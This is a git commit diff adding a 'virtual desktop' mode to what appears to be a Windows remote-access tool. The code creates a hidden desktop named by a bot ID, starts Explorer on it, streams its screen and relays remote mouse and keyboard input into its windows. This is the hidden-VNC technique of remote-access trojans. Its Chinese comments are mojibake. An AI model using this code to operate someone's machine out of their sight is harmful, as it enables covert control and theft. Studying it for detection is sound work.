feat: Support virtual remote desktop monitoring

This commit is contained in:
yuanyuanxiang
2025-05-31 15:49:40 +08:00
parent 1e0cfe85b8
commit 444de50651
7 changed files with 527 additions and 47 deletions

View File

@@ -9,6 +9,12 @@
#pragma once #pragma once
#endif // _MSC_VER > 1000 #endif // _MSC_VER > 1000
enum {
USING_GDI = 0,
USING_DXGI = 1,
USING_VIRTUAL = 2,
};
#define ALGORITHM_GRAY 0 #define ALGORITHM_GRAY 0
#define ALGORITHM_DIFF 1 #define ALGORITHM_DIFF 1
#define ALGORITHM_H264 2 #define ALGORITHM_H264 2

View File

@@ -91,25 +91,31 @@ public:
LPBYTE* m_BlockBuffers; // <20>ֿ黺<D6BF><E9BBBA> LPBYTE* m_BlockBuffers; // <20>ֿ黺<D6BF><E9BBBA>
ULONG* m_BlockSizes; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ULONG* m_BlockSizes; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int m_BlockNum; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD> int m_BlockNum; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD>
int m_SendQuality; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LPBITMAPINFO m_BitmapInfor_Full; // BMP<4D><50>Ϣ LPBITMAPINFO m_BitmapInfor_Full; // BMP<4D><50>Ϣ
BYTE m_bAlgorithm; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD> BYTE m_bAlgorithm; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>
ULONG m_iScreenX; // <20><>ʼx<CABC><78><EFBFBD><EFBFBD>
ULONG m_iScreenY; // <20><>ʼy<CABC><79><EFBFBD><EFBFBD>
ULONG m_ulFullWidth; // <20><>Ļ<EFBFBD><C4BB> ULONG m_ulFullWidth; // <20><>Ļ<EFBFBD><C4BB>
ULONG m_ulFullHeight; // <20><>Ļ<EFBFBD><C4BB> ULONG m_ulFullHeight; // <20><>Ļ<EFBFBD><C4BB>
bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD> bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
double m_wZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD> double m_wZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
double m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD> double m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
int m_biBitCount; // ÿ<><C3BF><EFBFBD>ر<EFBFBD><D8B1><EFBFBD><EFBFBD><EFBFBD>
int m_FrameID; // ֡<><D6A1><EFBFBD><EFBFBD> int m_FrameID; // ֡<><D6A1><EFBFBD><EFBFBD>
int m_GOP; // <20>ؼ<EFBFBD>֡<EFBFBD><D6A1><EFBFBD><EFBFBD> int m_GOP; // <20>ؼ<EFBFBD>֡<EFBFBD><D6A1><EFBFBD><EFBFBD>
bool m_SendKeyFrame; // <20><><EFBFBD>͹ؼ<CDB9>֡ bool m_SendKeyFrame; // <20><><EFBFBD>͹ؼ<CDB9>֡
CX264Encoder *m_encoder; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CX264Encoder *m_encoder; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ScreenCapture(BYTE algo = ALGORITHM_DIFF) : m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr), ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF) :
m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo), m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
m_BitmapInfor_Full(nullptr), m_bAlgorithm(ALGORITHM_DIFF), m_SendQuality(100),
m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1), m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
m_FrameID(0), m_GOP(DEFAULT_GOP), m_SendKeyFrame(false), m_encoder(nullptr){ m_FrameID(0), m_GOP(DEFAULT_GOP), m_iScreenX(0), m_iScreenY(0), m_biBitCount(n),
m_SendKeyFrame(false), m_encoder(nullptr) {
m_BlockNum = 8; m_BlockNum = 8;
m_ThreadPool = new ThreadPool(m_BlockNum); m_ThreadPool = new ThreadPool(m_BlockNum);
@@ -160,6 +166,21 @@ public:
SAFE_DELETE(m_encoder); SAFE_DELETE(m_encoder);
} }
virtual int SendQuality(int quality) {
int old = m_SendQuality;
m_SendQuality = quality;
return old;
}
virtual RECT GetScreenRect() const {
RECT rect;
rect.left = m_iScreenX;
rect.top = m_iScreenY;
rect.right = m_ulFullWidth;
rect.bottom = m_ulFullHeight;
return rect;
}
public: public:
//*************************************** ͼ<><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E3B7A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD> ************************************* //*************************************** ͼ<><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E3B7A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD> *************************************
virtual ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, virtual ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer,
@@ -257,8 +278,22 @@ public:
} }
} }
virtual LPBITMAPINFO ConstructBitmapInfo(int biBitCount, int biWidth, int biHeight)
{
assert(biBitCount == 32);
BITMAPINFO* bmpInfo = (BITMAPINFO*) new BYTE[sizeof(BITMAPINFO)]();
bmpInfo->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
bmpInfo->bmiHeader.biWidth = biWidth;
bmpInfo->bmiHeader.biHeight = biHeight;
bmpInfo->bmiHeader.biPlanes = 1;
bmpInfo->bmiHeader.biBitCount = 32;
bmpInfo->bmiHeader.biCompression = BI_RGB;
bmpInfo->bmiHeader.biSizeImage = biWidth * biHeight * 4;
return bmpInfo;
}
// <20>㷨+<2B><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20>㷨+<2B><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LPBYTE GetNextScreenData(ULONG* ulNextSendLength) { virtual LPBYTE GetNextScreenData(ULONG* ulNextSendLength) {
BYTE algo = m_bAlgorithm; BYTE algo = m_bAlgorithm;
int frameID = m_FrameID + 1; int frameID = m_FrameID + 1;
bool keyFrame = (frameID % m_GOP == 0); bool keyFrame = (frameID % m_GOP == 0);

View File

@@ -22,7 +22,7 @@ private:
BYTE* m_NextBuffer = nullptr; BYTE* m_NextBuffer = nullptr;
public: public:
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP) : ScreenCapture(algo) { ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP) : ScreenCapture(32, algo) {
m_GOP = gop; m_GOP = gop;
InitDXGI(); InitDXGI();
Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP); Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP);

View File

@@ -15,6 +15,8 @@
#include "ScreenSpy.h" #include "ScreenSpy.h"
#include "ScreenCapturerDXGI.h" #include "ScreenCapturerDXGI.h"
#include <Shlwapi.h>
#include <shlobj_core.h>
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
// Construction/Destruction // Construction/Destruction
@@ -43,9 +45,92 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
{ {
m_bIsWorking = TRUE; m_bIsWorking = TRUE;
m_bIsBlockInput = FALSE; m_bIsBlockInput = FALSE;
g_hDesk = nullptr;
m_DesktopID = GetBotId();
m_ScreenSpyObject = nullptr;
m_ptrUser = (INT_PTR)user;
int DXGI = 0; m_point = {};
m_lastPoint = {};
m_lmouseDown = FALSE;
m_hResMoveWindow = nullptr;
m_resMoveType = 0;
m_rmouseDown = FALSE;
m_rclickPoint = {};
m_rclickWnd = nullptr;
m_hWorkThread = CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
}
std::wstring ConvertToWString(const std::string& multiByteStr) {
int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
if (len == 0) return L""; // ת<><D7AA>ʧ<EFBFBD><CAA7>
std::wstring wideStr(len, L'\0');
MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
return wideStr;
}
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) {
bool bReturn = false;
try {
if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
return false;
TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);
std::wstring path = ConvertToWString(pszApplicationFilePath);
if (!PathIsExe(path.c_str()))
return false;
PathRemoveFileSpec(szDirectoryName);
STARTUPINFO sInfo = { 0 };
PROCESS_INFORMATION pInfo = { 0 };
sInfo.cb = sizeof(sInfo);
sInfo.lpDesktop = pszDesktopName;
//Launching a application into desktop
BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
NULL,
NULL,
NULL,
TRUE,
NORMAL_PRIORITY_CLASS,
NULL,
szDirectoryName,
&sInfo,
&pInfo);
TCHAR* pszError = NULL;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
if (pszError) {
Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
LocalFree(pszError); // <20>ͷ<EFBFBD><CDB7>ڴ<EFBFBD>
}
if (bCreateProcessReturn)
bReturn = true;
}
catch (...) {
bReturn = false;
}
return bReturn;
}
void CScreenManager::InitScreenSpy() {
int DXGI = USING_GDI;
BYTE algo = ALGORITHM_DIFF; BYTE algo = ALGORITHM_DIFF;
BYTE* user = (BYTE*)m_ptrUser;
if (!(user == NULL || (int)user == 1)) { if (!(user == NULL || (int)user == 1)) {
UserParam* param = (UserParam*)user; UserParam* param = (UserParam*)user;
if (param) { if (param) {
@@ -53,11 +138,36 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
algo = param->length > 1 ? param->buffer[1] : algo; algo = param->length > 1 ? param->buffer[1] : algo;
delete param; delete param;
} }
} else { }
else {
DXGI = (int)user; DXGI = (int)user;
} }
Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo)); Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo));
if ((1==DXGI && IsWindows8orHigher())) if (DXGI == USING_VIRTUAL) {
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
if (!hDesk) {
if (hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL)) {
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD>ɹ<EFBFBD>: %s\n", m_DesktopID.c_str());
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe");
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>[%s]!!!\n", m_DesktopID.c_str());
}
}
else {
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļʧ<EFBFBD><EFBFBD>: %s\n", m_DesktopID.c_str());
}
}
else {
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD>ɹ<EFBFBD>: %s\n", m_DesktopID.c_str());
}
if (hDesk) {
SetThreadDesktop(g_hDesk = hDesk);
}
}
if ((USING_DXGI == DXGI && IsWindows8orHigher()))
{ {
auto s = new ScreenCapturerDXGI(algo); auto s = new ScreenCapturerDXGI(algo);
if (s->IsInitSucceed()) { if (s->IsInitSucceed()) {
@@ -71,17 +181,16 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
} }
else else
{ {
m_ScreenSpyObject = new CScreenSpy(32, algo); m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL);
} }
m_hWorkThread = CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
} }
DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
{ {
CScreenManager *This = (CScreenManager *)lParam; CScreenManager *This = (CScreenManager *)lParam;
This->InitScreenSpy();
This->SendBitMapInfo(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB> This->SendBitMapInfo(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -285,6 +394,12 @@ VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength
m_ClientObject->OnServerSending(szBuffer, ulNextSendLength); m_ClientObject->OnServerSending(szBuffer, ulNextSendLength);
} }
std::string GetTitle(HWND hWnd) {
char title[256]; // Ԥ<><D4A4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
GetWindowTextA(hWnd, title, sizeof(title));
return title;
}
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
{ {
int msgSize = sizeof(MSG64); int msgSize = sizeof(MSG64);
@@ -301,6 +416,210 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
BYTE* ptr = szBuffer; BYTE* ptr = szBuffer;
MSG32 msg32; MSG32 msg32;
MSG64 msg64; MSG64 msg64;
if (g_hDesk) {
HWND hWnd = NULL;
BOOL mouseMsg = FALSE;
POINT lastPointCopy = {};
SetThreadDesktop(g_hDesk);
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
switch (msg->message) {
case WM_KEYUP:
return;
case WM_CHAR:
case WM_KEYDOWN: {
m_point = m_lastPoint;
hWnd = WindowFromPoint(m_point);
break;
}
case WM_RBUTTONDOWN: {
// <20><>¼<EFBFBD>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_rmouseDown = TRUE;
m_rclickPoint = msg->pt;
break;
}
case WM_RBUTTONUP: {
m_rmouseDown = FALSE;
m_rclickWnd = WindowFromPoint(m_rclickPoint);
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊϵͳ<CFB5>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char szClass[256];
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(hWnd).c_str(), hWnd);
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
// <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD>Ҽ<EFBFBD><D2BC>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
}
else {
// <20><>ͨ<EFBFBD><CDA8><EFBFBD>ڵ<EFBFBD><DAB5>Ҽ<EFBFBD><D2BC>˵<EFBFBD>
if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
// <20><><EFBFBD>ӣ<EFBFBD>ģ<EFBFBD><C4A3><EFBFBD><EFBFBD><EFBFBD>̰<EFBFBD><CCB0><EFBFBD>Shift+F10<31><30><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD>
keybd_event(VK_SHIFT, 0, 0, 0);
keybd_event(VK_F10, 0, 0, 0);
keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
}
}
break;
}
default:
{
mouseMsg = TRUE;
m_point = msg->pt;
hWnd = WindowFromPoint(m_point);
lastPointCopy = m_lastPoint;
m_lastPoint = m_point;
if (msg->message == WM_LBUTTONUP) {
if (m_rclickWnd && hWnd != m_rclickWnd)
{
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
m_rclickWnd = nullptr;
}
m_lmouseDown = FALSE;
LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
switch (lResult) {
case HTTRANSPARENT: {
SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
break;
}
case HTCLOSE: {// <20>رմ<D8B1><D5B4><EFBFBD>
PostMessageA(hWnd, WM_CLOSE, 0, 0);
Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMINBUTTON: {// <20><>С<EFBFBD><D0A1>
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMAXBUTTON: {// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
WINDOWPLACEMENT windowPlacement;
windowPlacement.length = sizeof(windowPlacement);
GetWindowPlacement(hWnd, &windowPlacement);
if (windowPlacement.flags & SW_SHOWMAXIMIZED)
PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
else
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
}
}
else if (msg->message == WM_LBUTTONDOWN) {
m_lmouseDown = TRUE;
m_hResMoveWindow = NULL;
RECT startButtonRect;
HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
GetWindowRect(hStartButton, &startButtonRect);
if (PtInRect(&startButtonRect, m_point)) {
PostMessageA(hStartButton, BM_CLICK, 0, 0); // ģ<>ʼ<E2BFAA><CABC>ť<EFBFBD><C5A5><EFBFBD><EFBFBD>
continue;
}
else {
char windowClass[MAX_PATH] = { 0 };
RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
if (!lstrcmpA(windowClass, "#32768")) {
HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
int itemId = GetMenuItemID(hMenu, itemPos);
PostMessageA(hWnd, 0x1e5, itemPos, 0);
PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
continue;
}
}
}
else if (msg->message == WM_MOUSEMOVE) {
if (!m_lmouseDown)
continue;
if (!m_hResMoveWindow)
m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
else
hWnd = m_hResMoveWindow;
int moveX = lastPointCopy.x - m_point.x;
int moveY = lastPointCopy.y - m_point.y;
RECT rect;
GetWindowRect(hWnd, &rect);
int x = rect.left;
int y = rect.top;
int width = rect.right - rect.left;
int height = rect.bottom - rect.top;
switch (m_resMoveType) {
case HTCAPTION: {
x -= moveX;
y -= moveY;
break;
}
case HTTOP: {
y -= moveY;
height += moveY;
break;
}
case HTBOTTOM: {
height -= moveY;
break;
}
case HTLEFT: {
x -= moveX;
width += moveX;
break;
}
case HTRIGHT: {
width -= moveX;
break;
}
case HTTOPLEFT: {
y -= moveY;
height += moveY;
x -= moveX;
width += moveX;
break;
}
case HTTOPRIGHT: {
y -= moveY;
height += moveY;
width -= moveX;
break;
}
case HTBOTTOMLEFT: {
height -= moveY;
x -= moveX;
width += moveX;
break;
}
case HTBOTTOMRIGHT: {
height -= moveY;
width -= moveX;
break;
}
default:
continue;
}
MoveWindow(hWnd, x, y, width, height, FALSE);
m_hResMoveWindow = hWnd;
continue;
}
break;
}
}
for (HWND currHwnd = hWnd;;) {
hWnd = currHwnd;
ScreenToClient(currHwnd, &m_point);
currHwnd = ChildWindowFromPoint(currHwnd, m_point);
if (!currHwnd || currHwnd == hWnd)
break;
}
if (mouseMsg)
msg->lParam = MAKELPARAM(m_point.x, m_point.y);
PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
}
return;
}
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize)
{ {
MSG64* Msg = msgSize == 48 ? (MSG64*)ptr : MSG64* Msg = msgSize == 48 ? (MSG64*)ptr :

View File

@@ -13,6 +13,8 @@
#include "ScreenSpy.h" #include "ScreenSpy.h"
#include "ScreenCapture.h" #include "ScreenCapture.h"
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
class IOCPClient; class IOCPClient;
class CScreenManager : public CManager class CScreenManager : public CManager
@@ -22,6 +24,7 @@ public:
virtual ~CScreenManager(); virtual ~CScreenManager();
HANDLE m_hWorkThread; HANDLE m_hWorkThread;
void InitScreenSpy();
static DWORD WINAPI WorkThreadProc(LPVOID lParam); static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID SendBitMapInfo(); VOID SendBitMapInfo();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength); VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
@@ -32,10 +35,23 @@ public:
VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength); VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength);
VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength); VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength);
INT_PTR m_ptrUser;
HDESK g_hDesk;
std::string m_DesktopID;
BOOL m_bIsWorking; BOOL m_bIsWorking;
BOOL m_bIsBlockInput; BOOL m_bIsBlockInput;
VOID SendClientClipboard(); VOID SendClientClipboard();
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength); VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
POINT m_point;
POINT m_lastPoint;
BOOL m_lmouseDown;
HWND m_hResMoveWindow;
LRESULT m_resMoveType;
BOOL m_rmouseDown; // <20><><EFBFBD><EFBFBD><EFBFBD>Ҽ<EFBFBD><D2BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
POINT m_rclickPoint; // <20>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
HWND m_rclickWnd; // <20>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD>
}; };
#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_) #endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)

View File

@@ -11,10 +11,10 @@
// Construction/Destruction // Construction/Destruction
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop) : ScreenCapture(algo) CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop) :
ScreenCapture(ulbiBitCount, algo)
{ {
m_GOP = gop; m_GOP = gop;
int m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16;
m_BitmapInfor_Full = new BITMAPINFO(); m_BitmapInfor_Full = new BITMAPINFO();
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO)); memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
@@ -28,22 +28,23 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop) : ScreenCapture(a
BitmapInforHeader->biSizeImage = BitmapInforHeader->biSizeImage =
((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) / 32) * 4 * BitmapInforHeader->biHeight; ((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) / 32) * 4 * BitmapInforHeader->biHeight;
m_hDeskTopWnd = GetDesktopWindow(); m_hDeskTopDC = GetDC(NULL);
m_hFullDC = GetDC(m_hDeskTopWnd);
m_BitmapData_Full = NULL; m_BitmapData_Full = NULL;
m_hFullMemDC = CreateCompatibleDC(m_hFullDC); m_hFullMemDC = CreateCompatibleDC(m_hDeskTopDC);
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); m_BitmapHandle = ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
::SelectObject(m_hFullMemDC, m_BitmapHandle); ::SelectObject(m_hFullMemDC, m_BitmapHandle);
m_FirstBuffer = (LPBYTE)m_BitmapData_Full; m_FirstBuffer = (LPBYTE)m_BitmapData_Full;
m_DiffBitmapData_Full = NULL; m_DiffBitmapData_Full = NULL;
m_hDiffMemDC = CreateCompatibleDC(m_hFullDC); m_hDiffMemDC = CreateCompatibleDC(m_hDeskTopDC);
m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL); m_DiffBitmapHandle = ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle); ::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
m_RectBufferOffset = 0; m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2];
m_bVirtualPaint = vDesk;
m_data.Create(m_hDeskTopDC, m_iScreenX, m_iScreenY, m_ulFullWidth, m_ulFullHeight);
} }
@@ -55,7 +56,7 @@ CScreenSpy::~CScreenSpy()
m_BitmapInfor_Full = NULL; m_BitmapInfor_Full = NULL;
} }
ReleaseDC(m_hDeskTopWnd, m_hFullDC); ReleaseDC(NULL, m_hDeskTopDC);
if (m_hFullMemDC!=NULL) if (m_hFullMemDC!=NULL)
{ {
@@ -86,15 +87,11 @@ CScreenSpy::~CScreenSpy()
delete[] m_RectBuffer; delete[] m_RectBuffer;
m_RectBuffer = NULL; m_RectBuffer = NULL;
} }
m_RectBufferOffset = 0;
} }
LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength) LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
{ {
//<2F><><EFBFBD>ڴ<EFBFBD>ԭ<EFBFBD><EFBFBD>и<EFBFBD><D0B8><EFBFBD>λͼ<CEBB><CDBC>Ŀ<EFBFBD><C4BF><EFBFBD> ScanScreen(m_hFullMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight);
::BitBlt(m_hFullMemDC, 0, 0, m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, SRCCOPY);
